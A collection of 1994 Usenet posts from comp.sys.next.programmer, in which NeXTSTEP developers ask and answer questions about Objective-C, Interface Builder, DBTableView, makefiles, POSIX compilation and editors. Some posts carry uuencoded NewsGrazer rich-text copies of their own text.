@implementation BB - color { //BB color stuff return self; } @end This is, I believe, what Scott is describing. It is definitely true that, when an instance of BB is sent a hue message, _BB's_ color method will be invoked from the hue method in AA. Even though self is referenced in AA's code, at runtime self will be the instance of BB, and BB's color method will be located first. The only ways to get AA's color method invoked in this situation is either not to have a color method in BB, or to have [super color] in BB's color method. Thanx, Michael -- Michael_Pizolato@afs.com "Can I get a root beer?" Chief Technical Officer - Wakko Warner Anderson Financial Systems Inc. NeXTMail accepted
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: [Q]: Source code for gdb4.7 on NeXT Date: Sun, 1 May 1994 18:50:57 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <Uhl39Fu00iUvM5Z7VM@andrew.cmu.edu> In-Reply-To: <2q0i3s$dnv@qns1.qns.com> Excerpts from netnews.comp.sys.next.programmer: 1-May-94 [Q]: Source code for gdb4.7.. by A.C. Yardley@qns1.qns.co > Another question (but one I'm sure was answered sometime ago)? Does > anyone know where I can get the source code for gdb-4.7 on the NeXT. > > I've ran archie on 'gdb' and come up with everything from gdb-3.2 to > gdb-4.12, but no gdb-4.7. Thanks in advance. Get the GNUSource package off of a NS 3.2 Developer CD (maybe 3.1 too, I dunno), or get someone to NeXTmail you the package. I don't have it conveniently available at the moment, or I would do so. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
From: mow@marsu.tynet.sub.org (Markus Wenzel) Newsgroups: comp.sys.next.programmer Subject: Re: Problems installing Taylor UUCP Date: 1 May 1994 09:47:40 GMT Organization: Palumbian Research Labs Message-ID: <2pvtrs$16q@marsu.tynet.sub.org> References: <westes.15.001054F0@netcom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Will Estes writes > While compiling a module in Taylor UUCP 1.04, I ran into a problem regarding > which of several stat functions to use. Which of the following should be > definied under NS 3.2 FIP? > #define STAT_STATVFS 0 > #define STAT_STATFS2_BSIZE 0 > #define STAT_STATFS2_FSIZE 0 > #define STAT_STATFS2_FS_DATA 1 > #define STAT_STATFS4 0 > #define STAT_USTAT 0 > > The above is the default, and it fails to compile. #define STAT_STATVFS 0 #define STAT_STATFS2_BSIZE 1 #define STAT_STATFS2_FSIZE 0 #define STAT_STATFS2_FS_DATA 0 #define STAT_STATFS4 0 #define STAT_USTAT 0 works fine for me. Markus. -- /dev/ Markus Wenzel /usr/spool/mail/ mow@marsu.uni-stuttgart.de /etc/zoneinfo/ University of Stuttgart /bin/ps System administration, Consulting, Networking
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: DBTableView delegate Date: 01 May 1994 23:11:47 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94May2001147@steffi.demon.co.uk> References: <2q1733$b8t@netnews.upenn.edu> To: joe@retina.anatomy.upenn.edu In-reply-to: joe@retina.anatomy.upenn.edu's message of 1 May 1994 21:31:15 GMT >>>>> "joe" == joe <joe@retina.anatomy.upenn.edu> writes: joe> The librarian page for the DBTableView class says that joe> notification will be sent to its delegate when the user double joe> clicks or changes row or column. But I can't find a list of the joe> methods that are passed on to the delegate. Can anyone straighten joe> me out? Thanks. joe> Joe Panico joe@retina.anatomy.upenn.edu Well Try executing this :-) egrep -i "(did)|(will)" /usr/include/dbkit/DBTableView.h -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: IB parsing heirarchy change workaround? Message-ID: <1994Apr25.155941.19870@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Mon, 25 Apr 1994 15:59:41 GMT So I've got this controller, see, and then I make a dozen of them and notice some redundancy that could be abstracted into a class hierarchy (gasp!) so I add a few levels and then go back to IB and it doesn't let me change the superclass of any class that is in use, so I can't easily squezze my hierarchy in w/o losing all of the outlets already connected. So I thought up a few solutions. One is changing the data.classes file inside of the nibs (icky-poo) -- dirty but it works. The other is to have some file named IBBlahController.h which is a flattened object declaration with all of the instance variables in the hierarchy compressed into one file. In other words it will appear that my BlahController is subclassed from Object when it really is dozens of levels deep, but all of the ivars from those levels are in the IB*Controller file. Think of it as protocols with ivars. Unfortunately it seems like this is more work than #1. Perhaps there are other, easier solutions? Monty
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Newsgroups: comp.sys.next.programmer Subject: Re: editing the workspace's menu Date: 2 May 1994 02:28:28 GMT Organization: Rensselaer Polytechnic Institute, Troy NY, USA Distribution: world Message-ID: <2q1ogc$nq@usenet.rpi.edu> References: <2pvu1u$iko@cheltenham.cs.arizona.edu> kline@CS.Arizona.EDU (Nick Kline) writes: > In 3.0 I edited the workspace's menu and added i to refer to > Tools->inspector > > This was very convenient. So tonight, I opened up > /usr/lib/NextStep/Workspace.app/WM.app/English.lproj/Workspace.nib > and edit the menu entry. I added 'i' to be the command key for > inspector. > > But, it doesn't work! I logged out and logged in again and it didn't > work. The letter i was now visible there but alas, it didn't work. A much better solution, done on a per-user basis, is to use some dwrite commands. There's a dwrite setting called NXCommandKeys. For Terminal, for instance, I wanted to change command-key shortcuts. In a unix window I typed: dwrite Terminal NXCommandKeys "Quit,Q,Close Window,W" so those would be capital letters, instead of lowercase letters. In your case, you'd want to change: dwrite Workspace NXCommandKeys "Inspector...,i" I used to do this on my NS-2.1 system, but ended up deciding that it made more sense to use the already-defined command-key equivalents. Ie, command-1, command-2, command-3, and command-4 to get straight to the Inspector panel of choice. -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Followup-To: comp.sys.next.software Date: 2 May 1994 06:52:50 GMT Organization: San Francisco State University Message-ID: <2q2802$62n@nic-nac.CSU.net> References: <CEDMAN.94Apr28093551@capitalist.princeton.edu> <1994Apr30.134843.7768@vnp.com> [Followups to comp.sys.next.software] In article <1994Apr30.134843.7768@vnp.com> rvs@vnp.com (Ronald V. Simmons) writes: >Edit can't correctly auto-indent code (and Makefiles) both as I type > and later. Works fine for me. >Edit can't auto-colorize code (and Makefiles) as I type and later. Colorized source? Ick! >Edit can rtf-ize code, but I maintain that it is much better to have the > editor parse the code, then colorize and fontize dynamically and > consistently rather than have the programmer go through the tedium of > doing it by hand. RTF code is EVIL. If I feel the need to see Stupid Font Tricks, I can run stuff through vgrind. >Edit doesn't show me expression boundaries automatically as I type. It's nondistracting. You can always double-click to verify something questionable. >I much prefer Emacs' way of cooperating with gdb > (i.e. the editor runs gdb rather than the other way around). I prefer writing bug-free code and avoiding gdb altogther. >Edit cannot be made to keep multiple back up versions of files. And trust > me, I don't need to be told to use RCS. (consider that a plug for > our DevMan product :^) ). There are several products that take care of this. Why should Edit try to impose One Right Way? >Edit can't transparently use ftp rather than the file system (i.e. you > need to get someone else's program and then drag 'n' drop rather than > have it "just work" a la ange-ftp. With RBrowser, you just double-click on a remote text document, and it opens in Edit (or whatever). When you save the file, it's automagically written back across the network. >Edit won't let me write keyboard macros. Edit provides the Expansion Dictionary, User Commands, and User Pipes. Also, you can override the default keyboard shortcuts. >Edit is not extensible by the user. You can do an awful lot with .commanddict >Edit doesn't have a third-party community out there always making new > stuff available. No "patch-of-the-week club" to drive you batty. >Edit relies way too much on the mouse for tasks that can be done more > quickly if your hands stay firmly on the keyboard. (Try recursive > searching forward and backward in Emacs and in Edit. If you know what > you are doing, you'll be much faster in Emacs. Emacs: Control-s/Control-r Edit: Command-g/Command-d What's the difference? >Emacs4.0 works with PB. >Emacs4.0 works with gdb (just not the way your accustomed to). >Emacs4.0 works with WSM. So? >Furthermore, > >Edit doesn't have its own newsgroup hierarchy. :^) Thank ghod. >Edit can't play gomoku with me or run the tower of hanoi. :^) Wanna bet? >Edit isn't a complete operating system, game environment and cuisinart > replacement. :^) No shit. Besides, those of us who grew up on The One True EMACS knew better than to live in it. E$J $K $$U :-) :-) :-) >Edit doesn't weigh in at 6 MB for just the uncompiled source. :^) With or without all the international languages? -=EPS=-
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Unresolved symbols when using termios.h (Nevermind) Date: 2 May 1994 06:57:25 GMT Organization: San Francisco State University Message-ID: <2q288l$64h@nic-nac.CSU.net> References: <1994Apr30.182353.4620@cs.ucla.edu> <1994Apr30.192620.6041@cs.ucla.edu> In article <1994Apr30.192620.6041@cs.ucla.edu> esky@marathon.cs.ucla.edu (Eskandar Ensafi) writes: >Sorry, I think I found the problem. Use -lposix, right? Looks like it. Wrong! If you want posix semantics, compile EVERYTHING with the -posix option. Otherwise expect serious problems. (There's no need to specify -lposix; it's linked in automatically when you use -posix.) -=EPS=-
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Is it a bad idea to use POSIX functions in NEXTSTEP? Date: 2 May 1994 07:05:19 GMT Organization: San Francisco State University Message-ID: <2q28nf$6ds@nic-nac.CSU.net> References: <1994Apr30.203824.7831@cs.ucla.edu> POSIX "functionality" is only there for a marketing bullet; some major customers (typically government and government contractors) require it. The only software it's intended to compile is a validation suite. It's not supposed to be _useful_ for any other purpose. -=EPS=-
From: jtd@clem.handheld.com(White Fang) Newsgroups: comp.sys.next.programmer Subject: Re: Help on Compiling C++/ObjC code Date: 29 Apr 1994 19:30:04 GMT Organization: Hand Held Products, Inc. Distribution: usa Message-ID: <2prn7sINN93t@clem.handheld.com> References: <2pjrnb$225@charm.magnus.acs.ohio-state.edu> >Waihon A Kwong writes >Hi all, > >I have just rewritten my C++ codes, but the compile can't seem to find >the functions like "cin", "cout".....I'm using NS3.2 and I thought C++ >support is build-in, am I missing something? I am under the understanding >that you need to first make sure that you have the correct ending at the end of the file. You need cc filename.C-lg++ on my machine to make sure that you can ge to the library. These are some of the include files. #include <String.h> #include <iostream.h> I am not really sure what to tell you. I hope that I answered your question. -- ================================================================= |John Davis | jtd@clem.handheld.com | There is a | |Handheld Products |Copyright (C) 94 John Davis| Elm Street | |12955 River Road | All Rights Reserved | in every Town | |Richmond, VA 23233| Phone : (804) 784-3090 |-Freddie Kruegar| =================================================================
From: joe@retina.anatomy.upenn.edu Newsgroups: comp.sys.next.programmer Subject: DBTableView: selectedColumn Date: 2 May 1994 11:14:34 GMT Organization: University of Pennsylvania Distribution: world Message-ID: <2q2naq$4pg@netnews.upenn.edu> I'm trying to set up a DBTableView so that my App is notified of the row/col in which a double click occurs. I use setTarget and setDoubleAction to tell the TableView to call the "doubleClicked:" method in one of my objects. Inside doubleClicked I call selectedRow and selectedColumn in an attempt to figure out which field the user double clicked in. At runtime, when I double click in a field (editable or not), the doubleClicked method is called properly, and selectedRow properly returns the index of the row I double clicked in. However, selectedCol returns -1. I can only get selectedCol to return other than -1 if I double click on the Column HEADER (title), in which case it does return the proper index. Is there a way to get the DBTableView to do what I want? Thanks. Joe Panico joe@retina.anatomy.upenn.edu
From: smeester@antares (Eric Smeesters) Newsgroups: comp.sys.next.programmer Subject: gnumake - make need help please! Date: 2 May 1994 14:20:29 GMT Organization: Universite Catholique de Louvain, Louvain-la-Neuve, Belgium Message-ID: <2q327d$7k7@sci3.sri.ucl.ac.be> Keywords: gnumake, make, addprefix, addsuffix Hi, I have some problem to use a makefile that has been done on a Sun workstation because the NeXT 'make' command doesn't understand 'addprefix' and 'addsuffix'. It seems to be specific to gnumake. So, is there any way to get the GNUmake on the NeXT or is there any solution to make such a line intelligent to the NeXT 'make'? CH_OBJ_FILES = $(addprefix $(CH_OBJ_PATH),$(addsuffix.o,$(CH_BASE_FILES))) where CH_OBJ_PATH = Object_ch/ch CH_BASE_FILES = op_shift read_flumcbcr read_lumcbcr read_ras write_filcc Thank for help! Eric -- Eric Smeesters email: Smeesters@tele.ucl.ac.be (NeXT email appreciated) Universite Catholique de Louvain Laboratoire de Telecommunications et Teledetection 2, place du Levant B-1348 Louvain-La-Neuve (Belgium)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: DBTableView: selectedColumn Date: 02 May 1994 15:07:58 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94May2160759@steffi.demon.co.uk> References: <2q2naq$4pg@netnews.upenn.edu> To: joe@retina.anatomy.upenn.edu In-reply-to: joe@retina.anatomy.upenn.edu's message of 2 May 1994 11:14:34 GMT >>>>> "Joe" == joe <joe@retina.anatomy.upenn.edu> writes: Joe> I'm trying to set up a DBTableView so that my App is notified of Joe> the row/col in which a double click occurs. I use setTarget and Joe> setDoubleAction to tell the TableView to call the Joe> "doubleClicked:" method in one of my objects. Inside Joe> doubleClicked I call selectedRow and selectedColumn in an attempt Joe> to figure out which field the user double clicked in. Joe> At runtime, when I double click in a field (editable or not), the Joe> doubleClicked method is called properly, and selectedRow properly Joe> returns the index of the row I double clicked in. However, Joe> selectedCol returns -1. I can only get selectedCol to return Joe> other than -1 if I double click on the Column HEADER (title), in Joe> which case it does return the proper index. That's the way it's suppose to be. Since row and colum selection are mutually exclusive events. You cannot just select a "Cell" you are either selecting an entire row or an entire column. There's no distinction made between a "cell" and a row/column. Joe> Is there a way to get the DBTableView to do what I want? Thanks. Sure if you want to subclass DBTableView...(I personally would like to see that) -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: gmd@hazel.north.de (Gerriet M. Denkmann) Subject: EPS to TIFF conversion Message-ID: <Cp657q.2ro@hazel.north.de> Sender: gerriet@hazel.north.de (Gerriet M. Denkmann) Organization: Great Mathematical Developments, Inc. Date: Mon, 2 May 1994 09:33:24 GMT I am trying to convert EPS to TIFF in a representation *different* from my screen. For example: I have a two bit gray screen and want to convert EPS to 24 bit rgb TIFF. Does anybody know how to do this? I tried all I could think of, but with no success at all. Any hints will be very much appreciated. Gerriet.
Newsgroups: comp.sys.next.programmer From: pulliam@rft29.nas.nasa.gov (Thomas H Pulliam) Subject: Re: Hints on using Emacs for NeXTstep Message-ID: <CoxnxI.4n6@cnn.nas.nasa.gov> Sender: news@cnn.nas.nasa.gov (News Administrator) Organization: NAS/NASA-Ames Research Center References: <2pkqet$4pt@nic-nac.CSU.net> Date: Wed, 27 Apr 1994 19:39:18 GMT In article <2pkqet$4pt@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) writes: > Let's see... it doesn't honor -NXOpen, so I can't use it as a > default application. It doesn't use NXDataLinkManager, so it > won't work with RBrowser. It has 92dpi *hardwired*, so it does > the wrong thing on many color systems. etc. etc. I don't seem to have any problems using it as a default app or with RBrowser. Worked just fine, no mods, no added defs, just out of the box. > > I think I'll stick with Edit.app, thank you. > (With Emacs key mappings enabled, of course.) Your loss. ********************* * * |||||||||||||||||||||||||||||||||||||||| * You're * | Thomas H. Pulliam | * * | MS T27B-1 NASA Ames Research Center | * In A * | Moffett Field, Ca 94035 | * * | (415) 604-6417 | * Box ! * | pulliam@rft29.nas.nasa.gov | * * | pulliam@nas.nasa.gov | * @1990 * |||||||||||||||||||||||||||||||||||||||| *********************
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: Pixel pitch Date: 2 May 1994 13:36:52 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9405020513.AA05044@flexus> LS, How does a NEXTSTEP system know the pixel pitch of its attached screen(s)? ``windowdevice'' does the correct thing on my NeXTstation (running NS_3.2), but what about other systems, even a NeXTstation Color (which can use either 17" or 21" screens)? There is no specific ppi entry in NetInfo's /localconfig/screens/MegaPixel... Don't tell me NeXT hard-coded the pixel pitch for monochrome black hardware. Or do, so I can adapt KBNS... Thanks, Raf Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium (real, i.e., with triangle in the Deliver button) NeXTmail preferred Addressing limitations: no !, % or .uucp (? I should test this again)
From: sean@zapotec.math.byu.edu (Sean O. Luke) Newsgroups: comp.sys.next.programmer Subject: IB stupidity, parsing, and instances Date: 2 May 1994 20:24:53 GMT Organization: Brigham Young University Message-ID: <2q3nil$5oh@hamblin.math.byu.edu> Heigh, ho, everyone. I'm working to get COWS 1.4 out the door, finally with a good palette series, a bunch of nifty new apps, etc. But one of the most vital COWS library objects, an object to connect COWS functions to calls on various IB controls, is causing problems because of a wide variety of stupid design decisions in IB. So I'm posting here in the hopes that someone out there could give me a clue. :-) COWS is a macro language like TCL, only it was designed expressly for NeXTSTEP. COWS by itself can do only mundane things. But the idea is that adding a library object, written in Obj-C, can extend the COWS syntax with functions or (later when OOP COWS comes out) COWS methods. There are libraries already written for COWS which do a wide range of really neato stuff, or you can write your own to incorporate the COWS interpreter into your application as an application, or inter-application, macro language. COWS 1.4 will include a palette of objects that ultimately should allow you to drop a COWS interpreter into an application and hook it up (minimally) to your app without writing a drop of code. As an aside, you can in fact build NeXTSTEP apps in COWS without any Obj-C at all, and test them in IB's test interface mode, or compile them out. It's not fast (the interpreter's slow right now), but it works well. One of these objects is a library which connects to the interpreter, and _also_ connects with IB gadgets like buttons and text fields. The idea if somewhat similar to WavesWorld, except you don't have to write whole new buttons like he had to :-(. It looks like this: User-called COWS function--->Library Object--->Frob IB widget... IB widget modified---->Library Object (target of widget)---->COWS function It's no problem setting up the second procedure for up to, oh, 10 objects. Just make 10 connections in your object, and hook 'em up to 10 widgets. Then hook the object up as the target of those 10 widgets. Lastly, specify in the, oh, attributes inspector of the object, the COWS function to be called when the user sets off the widget. But how to do it the other way? The obvious way is to set up a series of targets in the object and hook each up to a particular widget to be frobbed when the user calls some COWS function. However... (here we go...) PROBLEM 1: The Evil Target-Action Paradigm IB's default Connections inspector only allows one target. This means that this object can only hold ONE target and selector to call for some COWS function, which in turn means that for each widget you want to hook up to COWS, you need a seperate library object. On the other hand, you could hook up tons of widgets to a single library object the other way around. PROBLEM 2: Private Parsing API Okay, so to get around the target-action problem, I want to make my own Connection Inspector (okay, don't laugh too hard, everyone). But not only has NeXT barely documented how to do this, but they've provided no way to get at those nifty methods listed when you pick a target. IB does it by maintaining some parsing list (possibly hard- coded for some objects), which is builds with the "parse" subcommand. But it gives me no way of finding out what methods objects can respond to in a format I can use to connect to them. :-( PROBLEM 3: Asymmetrical Method Design This one's a doozy. Assume I've given up on making multiple targets, and have settled for a single target and a single COWS function to set off that target. Now, I've got it set up so that a COWS call will send a particular action to a particular target. This way I can get targets to change their values, perform clicks, etc. But what if I want to query the target for its value, and return it as the return value of the COWS function call? Can't be done. Why? Because there is NO IB METHOD THAT SAYS "SET ME TO YOUR VALUE". There's one that says "set yourself to my value" (takeFooFrom:sender) BUT NOT THE OTHER WAY AROUND! WHAT IDIOCY! If you think about it, there's no available method in IB's little list for controls that lets me get the current int, float, double, or string value of a control. To do this, I have to use a non-action method like intValue. PROBLEM 4: Non-modifiable action lists So, I thought I might get around this by creating 4 little action methods (setMeToYourInt:sender and so on) and adding these in a category of Control and Cell. So now, if I could only get IB to recognize that those methods now exist for Controls and Cells, they'd show up in IB's little selector list and I'd be home free. No such luck. I even tried parsing the file. IB DOESN'T RECOGNIZE CATEGORIES. Next, I'll try parsing Control and Cell .h files stolen from the include files, with the added methods. What a hack! And it won't work, either, since I'm pretty sure IB's got most of its pre-defined selector lists HARD CODED. What a piece of junk! It's as if IB is actively working to prevent programmers from incorporating macro languages, etc., into NeXTSTEP programs through IB. I'm sure Michael Johnson's had wonderful times with the same issue and TCL. It's absolutely AMAZING how poorly done IB is in this regard. What was NeXT thinking? Essentially: 1) I can't do a connection inspector because NeXT doesn't provide the hooks necessary to do useful connection inspectors at all. 2) I can't modify NeXT's connection inspector (even just adding one or two selector names to its list!), much less adding the capability to have more than one target. As a result, I've got an evil, hacked-up attributes window for the object, am using NeXT's connection inspector because I have no option, and can still only connect to one widget for output. If anyone has any ideas, I'd really appreciate help in this regard. This is a very important object for COWS and I don't want it to be a hack (the rest of the system's rather nice, IMHO). Thanks everyone for your help so far on the project, Sean +---------------------------------------------------------+ | Sean Luke This signature no verb | | sean@digaudio.byu.edu ,,, | | sean@zapotec.math.byu.edu (o o) UCLA CS in September | +------------------------oOO--(_)--OOo--------------------+
From: wwright@shell.portal.com (Bradly William Wright) Newsgroups: comp.sys.next.programmer Subject: Need help with writing driver Date: 2 May 1994 21:12:08 GMT Organization: Portal Communications Company Message-ID: <2q3qb8$aot@news1.svc.portal.com> I'm trying to extend the ProAudio driver to include a MIDI interface. The problem I keep running into is that the interrupt handler won't me to use the function IOLog to put debugging information in. When I call IOLog nothing is written into the /private/adm/messages file. What am I doing wrong? Brad Wright WrightSystems wwright@shell.portal.com
From: hamps@richibucto.jpl.nasa.gov (John B. Hampshire II) Newsgroups: comp.sys.next.programmer Subject: Makefile dependencies = RTFM Date: 2 May 1994 22:07:17 GMT Organization: JPL Spacecraft Telecommunication Equipment Message-ID: <2q3til$hfl@marsupial.jpl.nasa.gov> Keywords: Makefile dependencies I posted last week asking how to get the gcc compiler to recognize file dependencies when using the project builder GUI compiler interface. Nobody answered, so I forced myself to read the manual. Shame on me: all a person has to do is make depend and Makefile.dependencies gets generated automatically. Subsequent makes track file changes correctly. -John -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($D@<&]S=&5D(&QA M<W0@=V5E:R!A<VMI;F<@:&]W('1O(&=E="!T:&4@9V-C(&-O;7!I;&5R7`IT M;R!R96-O9VYI>F4@9FEL92!D97!E;F1E;F-I97,@=VAE;B!U<VEN9R!T:&4@ M<')O:F5C=%P*8G5I;&1E<B!'54D@8V]M<&EL97(@:6YT97)F86-E+B`@3F]B M;V1Y(&%N<W=E<F5D+"!S;UP*22!F;W)C960@;7ES96QF('1O(')E860@=&AE M(&UA;G5A;"X@(%-H86UE(&]N(&UE.EP*86QL(&$@<&5R<V]N(&AA<R!T;R!D M;R!I<UP*7`IM86ME(&1E<&5N9%P*7`IA;F0@36%K969I;&4N9&5P96YD96YC M:65S7`I<"F=E=',@9V5N97)A=&5D(&%U=&]M871I8V%L;'DN("!3=6)S97%U M96YT(&UA:V5S7`IT<F%C:R!F:6QE(&-H86YG97,@8V]R<F5C=&QY+EP*7`HM )2F]H;EP*"GT* `
From: kenyon@cse.unl.edu (Paul Kenyon) Newsgroups: comp.sys.next.programmer Subject: Re: DBTableView: selectedColumn Date: 3 May 1994 02:26:04 GMT Organization: University of Nebraska--Lincoln Distribution: world Message-ID: <2q4cns$pqb@crcnis1.unl.edu> References: <2q2naq$4pg@netnews.upenn.edu> <ROBERT.94May2160759@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: >>>>>> "Joe" == joe <joe@retina.anatomy.upenn.edu> writes: >Joe> I'm trying to set up a DBTableView so that my App is notified of >Joe> the row/col in which a double click occurs. I use setTarget and >Joe> setDoubleAction to tell the TableView to call the >Joe> "doubleClicked:" method in one of my objects. Inside >Joe> doubleClicked I call selectedRow and selectedColumn in an attempt >Joe> to figure out which field the user double clicked in. .... >Joe> Is there a way to get the DBTableView to do what I want? Thanks. >Sure if you want to subclass DBTableView...(I personally would like to >see that) Here are 2 methods from my class DBETableView which is a subclass DBTableView. - editFieldAt:(unsigned int)row :(unsigned int)column { SEL method = [self doubleAction]; id rc = [ super editFieldAt: row : column ]; if ( [ delegate respondsTo: method ] ) [ delegate perform: method with: self ]; return rc; } - endEditing { [ delegate tableViewDidEndEditing: self ]; return [ super endEditing ]; } We use this in DBEdit to find which row/column intersection the cursor is in when opening and updating SQL Expressions, the Find panel, the entry inspector, etc. ============================================================================== Paul H. Kenyon, CTO - Hickman-Kenyon Systems, Omaha, NE (402) 697-1310 kenyon@csealumni.unl.edu DBEdit - "The DBKit Database Editor" is now shipping, demo available via FTP.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: DBTableView: selectedColumn Date: 03 May 1994 07:28:30 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94May3082830@steffi.demon.co.uk> References: <2q2naq$4pg@netnews.upenn.edu> <ROBERT.94May2160759@steffi.demon.co.uk> <2q4cns$pqb@crcnis1.unl.edu> To: kenyon@cse.unl.edu (Paul Kenyon) In-reply-to: kenyon@cse.unl.edu's message of 3 May 1994 02:26:04 GMT >>>>> "Paul" == Paul Kenyon <kenyon@cse.unl.edu> writes: Paul> Here are 2 methods from my class DBETableView which is a Paul> subclass DBTableView. Assuming of course that your DBTableView is editable in the first place right... I know a lot of DBKit developers who detest editable DBTableViews and whos preference is to use Forms/TextFields for data entry. -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: lauer@informatik.uni-tuebingen.de (Harald Lauer) Newsgroups: comp.sys.next.programmer Subject: Max. number of palettes in IB ? Date: 3 May 1994 08:06:56 GMT Organization: University of Tuebingen Distribution: world Message-ID: <2q50n0$8o1@wsiserv.informatik.uni-tuebingen.de> Hi, I've run into a wierd problem recently. When I loaded all palettes on my system (MOKit, MiscKit, IconKit, ThumbWheel, ... - > 30 in total) and quit IB, he won't start up again :-(. There was an error message on the console (IB error with a number; not more) and an alert panel containing a message that some method couldn't be found - but no IB. When I reduced the number of loaded palettes to 22 (!), everything worked fine. I even tried a random order and left out DBkit, but 22 seemed to be the maximum number of loadable palettes. Did I miss something ? If not, why such a wierd number ? Bye, Harald --- Harald Lauer Those health nuts will look Wilhelm-Schickard Institut fuer Informatik stupid someday, lying in Universitaet Tuebingen hospital dying of nothing.
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: How to use a storage object. Message-ID: <1994May2.233953.14051@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <1994Apr29.234528.5761@alw.nih.gov> Date: Mon, 2 May 1994 23:39:53 GMT James, OK, heres an answer (probably not the only one!). Recreated your example (using double, instead of float, OK?). I just slapped together a simple UI with a form (nameField,priceField). It seems that the Storage object actually allocates the space to store the items when you -addElement. Enjoy. Rik (cousens@biztech.com) : Here it is: typedef struct { char itemName[10]; double itemCost; } ITEMSTRUCT; @implementation Controller:Object { id window; id nameField; id priceField; struct objc_object *theStore; } - init { [super init]; theStore=[[Storage allocFromZone:[self zone]] initCount:0 elementSize:sizeof(ITEMSTRUCT) description:"{[10c]d}"]; return self; } - free { [[theStore empty] free]; return [super free]; } - addItem:sender { ITEMSTRUCT anItem; strncpy(anItem.itemName,[nameField stringValue],10); anItem.itemName[10]=0; anItem.itemCost=[priceField doubleValue]; [theStore addElement:&anItem]; return self; } - dumpStore:sender { ITEMSTRUCT anItem; int i,len; len=[theStore count]; for (i=0;i<len;i++) { anItem= *(ITEMSTRUCT *) [theStore elementAt:i]; NXLogError("ItemName=%s\tPrice=%f\n",anItem.itemName, anItem.itemCost); } return self; } - trashStore:sender { return [theStore empty]; } -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!4:6UE<RU2;VUA;CM<9C%< M9FUO9&5R;B!#;W5R:65R.UQF,EQF;6]D97)N($]H;&9S.WT*7&UA<F=L,3(P M"EQM87)G<C$R,`I<<&%R9%QT>#,W,EQT>#<T-%QT>#$P.39<='@T-C`X7'1X M-3<V,%QT>#8Y,3)<='@X,#8T7'1X.3(Q-EQT>#$P,S8X7'1X,3$U,C!<9C!< M8C!<:3!<=6QN;VYE7&9S,C1<9F,P7&-F,"!*86UE<RQ<"@E/2RP@:&5R97,@ M86X@86YS=V5R("AP<F]B86)L>2!N;W0@=&AE(&]N;'D@;VYE(2DN7`I296-R M96%T960@>6]U<B!E>&%M<&QE("AU<VEN9R!D;W5B;&4L(&EN<W1E860@;V8@ M9FQO870L($]+/RDN7`I)(&IU<W0@<VQA<'!E9"!T;V=E=&AE<B!A('-I;7!L M92!522!W:71H(&$@9F]R;2`H;F%M949I96QD+'!R:6-E1FEE;&0I+B`@270@ M<V5E;7,@=&AA="!T:&4@4W1O<F%G92!O8FIE8W0@86-T=6%L;'D@86QL;V-A M=&5S('1H92!S<&%C92!T;R!S=&]R92!T:&4@:71E;7,@=VAE;B!Y;W4@+6%D M9$5L96UE;G0N("!%;FIO>2Y<"EP*4FEK("AC;W5S96YS0&)I>G1E8V@N8V]M M*5P*"EQF,2!<"CH@($AE<F4@:70@:7,Z7`I<"@I<9C)<9G,R,"!T>7!E9&5F M('-T<G5C="!<>UP*"6-H87(@:71E;4YA;65;,3!=.UP*"61O=6)L92!I=&5M M0V]S=#M<"EQ]($E414U35%)50U0[7`I<"D!I;7!L96UE;G1A=&EO;B!#;VYT M<F]L;&5R.D]B:F5C=%P*7'M<"@EI9"!W:6YD;W<[7`H):60@;F%M949I96QD M.UP*"6ED('!R:6-E1FEE;&0[7`H)<W1R=6-T(&]B:F-?;V)J96-T("IT:&53 M=&]R93M<"EQ]7`I<"BT@:6YI=%P*7'M<"@E;<W5P97(@:6YI=%T[7`H)=&AE 